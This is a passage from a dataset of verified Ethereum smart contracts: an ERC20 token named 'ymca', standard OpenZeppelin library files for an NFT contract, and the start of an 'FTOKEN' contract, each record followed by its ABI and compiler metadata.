event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ymca is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "ymca";
name = "Yearn Mutant Crypto Assets";
decimals = 8;
_totalSupply = 1000000000000;
balances[0x85A4b4994f1983fB0edA5eE6D5eFE3Bf5D250345] = _totalSupply;
emit Transfer(address(0), 0x85A4b4994f1983fB0edA5eE6D5eFE3Bf5D250345, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeSub","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeDiv","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"},{"name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeMul","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokenAddress","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferAnyERC20Token","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeAdd","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | Default | None | false | bzzr://fca13e1c9fe5deea6f3f6b9b096234fadcb7ae8b89f1258746d21f504021df65 |
|||
NFTArtGenBase | @openzeppelin/contracts/utils/introspection/IERC165.sol | 0x59c37870950861ee54c9c2e0c4a7b249db82bfa2 | Solidity | @v4.4.1
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | 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ax","type":"uint32"}],"name":"setMaxPerMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"_max","type":"uint32"}],"name":"setMaxPerWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_open","type":"bool"}],"name":"setOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"supply","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}] | v0.8.4+commit.c7e474f2 | true | 200 | 00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000001388000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000043697066733a2f2f6261667962656962787a75637434356666326a326a6c786b6e6c636479617336617866726a7a677834796e366f7435647370647a3634336f676b712f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001150756e6b20446f6f646c6564204170657300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035044410000000000000000000000000000000000000000000000000000000000 | Default | None | false | ipfs://8a0eaf8d3185c71bb1d0f8ca33377a601c4aaea05c5b0227f29ba8397a734db5 |
||
NFTArtGenBase | @openzeppelin/contracts/utils/Address.sol | 0x59c37870950861ee54c9c2e0c4a7b249db82bfa2 | Solidity | @v4.4.1
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | 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ax","type":"uint32"}],"name":"setMaxPerMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"_max","type":"uint32"}],"name":"setMaxPerWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_open","type":"bool"}],"name":"setOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"supply","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}] | v0.8.4+commit.c7e474f2 | true | 200 | 00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000001388000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000043697066733a2f2f6261667962656962787a75637434356666326a326a6c786b6e6c636479617336617866726a7a677834796e366f7435647370647a3634336f676b712f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001150756e6b20446f6f646c6564204170657300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035044410000000000000000000000000000000000000000000000000000000000 | Default | None | false | ipfs://8a0eaf8d3185c71bb1d0f8ca33377a601c4aaea05c5b0227f29ba8397a734db5 |
||
NFTArtGenBase | @openzeppelin/contracts/access/Ownable.sol | 0x59c37870950861ee54c9c2e0c4a7b249db82bfa2 | Solidity | @v4.4.1
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
} | 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ax","type":"uint32"}],"name":"setMaxPerMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"_max","type":"uint32"}],"name":"setMaxPerWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_open","type":"bool"}],"name":"setOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"supply","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}] | v0.8.4+commit.c7e474f2 | true | 200 | 00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000001388000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000043697066733a2f2f6261667962656962787a75637434356666326a326a6c786b6e6c636479617336617866726a7a677834796e366f7435647370647a3634336f676b712f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001150756e6b20446f6f646c6564204170657300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035044410000000000000000000000000000000000000000000000000000000000 | Default | None | false | ipfs://8a0eaf8d3185c71bb1d0f8ca33377a601c4aaea05c5b0227f29ba8397a734db5 |
||
FTOKEN | FTOKEN.sol | 0xf81604cf78037b371673fd2c5cfba3572a6f8d1d | Solidity | pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{value: weiValue}(data);
